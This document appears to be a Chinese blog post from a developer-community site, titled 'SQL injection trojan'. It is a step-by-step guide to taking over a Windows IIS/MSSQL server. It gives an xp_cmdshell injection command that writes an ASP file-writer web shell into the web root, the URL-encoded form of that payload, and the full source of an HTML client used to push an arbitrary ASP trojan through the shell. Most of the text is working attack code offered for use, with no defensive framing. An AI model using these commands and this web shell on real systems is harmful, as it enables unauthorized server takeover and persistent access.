SQL注入木马

SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。
1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。
文件内容:
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(request("mypath"),True)
objCountFile.Write request("mydata")
objCountFile.Close
%>
这个文件可以写成一行 <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject"):Set objCountFile=objFSO.CreateTextFile(request("mypath"),True):objCountFile.Write request("mydata"):objCountFile.Close%>

将特殊字符进行编码   就可以得到 %3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E

注入(这里假定web目录是C:/Inetpub/wwwroot/):
exec master..xp_cmdshell 'echo "%3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E" > C:/Inetpub/wwwroot/ftp.asp';

这样 在服务器的web 目录下 将生成一个 ftp.asp文件
该文件的代码为
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(request("mypath"),True)
objCountFile.Write request("mydata")
objCountFile.Close
%>
你可以看到,上面代码中预留了两个接口 mypath   和 mydata

mypath是下次提交的时候 文件的生成路径
mydata是文件的内容

在本地编写一个客户端文件 例:RohuClient.htm   代码如下

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>肉鸡文件生成器--客户端</title>
<style type="text/css">
<!--
TD {
FONT-SIZE: 9pt; LINE-HEIGHT: 150%
}
BODY {
FONT-SIZE: 12px;
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif, 宋体;
SCROLLBAR-FACE-COLOR: #eeeeee;
SCROLLBAR-HIGHLIGHT-COLOR: #ffffff;
SCROLLBAR-SHADOW-COLOR: #dee3e7;
SCROLLBAR-3DLIGHT-COLOR: #d1d7dc;
SCROLLBAR-ARROW-COLOR: #006699;
SCROLLBAR-TRACK-COLOR: #ededed;
SCROLLBAR-DARKSHADOW-COLOR: #98aab1
}

A:link {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:visited {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:hover {
COLOR: #cc0000; LINE-HEIGHT: 18px; TEXT-DECORATION: underline
}
input,select,TEXTAREA {
font-family: "tahoma", "arial", "helvetica", "sans-serif", "宋体";
background-color: #f9f9f9;
font-size: 9pt ;
border: 1px #d2d2d2 dobble;
line-height:120%;
}

-->
</style>
</head>
<script language="javascript" type="text/javascript">
function chk(theform)
{
if(theform.ftpUrl.value=='')
{
alert('请输入递交的地址!');
theform.ftpUrl.focus();
return false;
}
if(theform.MyPath.value=='')
{
alert('请输入生成文件的位置!');
theform.MyPath.focus();
return false;
}
if(theform.MyData.value=='')
{
alert('请输入生成文件的内容!');
theform.MyData.focus();
return false;
}
theform.action=theform.ftpUrl.value;
}
</script>
<body>
<form name="RohuForm" method="post" action="" onSubmit="return chk(this)" target="_blank">
<table width="673" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="11%">目标位置:</td>
<td width="79%"><input name="ftpUrl" type="text" id="ftpUrl" size="50">
  例:
http://127.0.0.1/FTP.ASP<;/td>
</tr>
<tr>
<td>生成文件:</td>
<td><input name="MyPath" type="text" id="MyPath">
  将在服务器上,生成的文件路径。例:
C:/Inetpub/wwwroot/Server.asp </td>
</tr>
<tr>
<td valign="top">文件代码:</td>
<td><textarea name="MyData" cols="100" rows="10" id="textarea"></textarea></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" name="Submit" value="提交"></td>
</tr>
</table>
<br>
</form>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center">版权所有:绝对零度(<a href="
http://www.rohu.com ";>虎盟</a>)</td>
</tr>
</table>
</body>
</html>

在目标位置栏填上刚刚生成的ftp.asp文件的url地址
http://127.0.0.1/ftp.asp   (这里假设服务器的ip是 127.0.0.1)
在生成文件栏   输入将在服务器上生成的文件名 比如:C:/Inetpub/wwwroot/Server.asp
在文件内容里 ,随意的粘贴一个asp代码  
点递交,当
http://127.0.0.1/ftp.asp 文件执行完毕   基本上服务器上的asp木马就生成了。

浏览
http://127.0.0.1/Server.ASP   呵呵 服务器就是你的了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值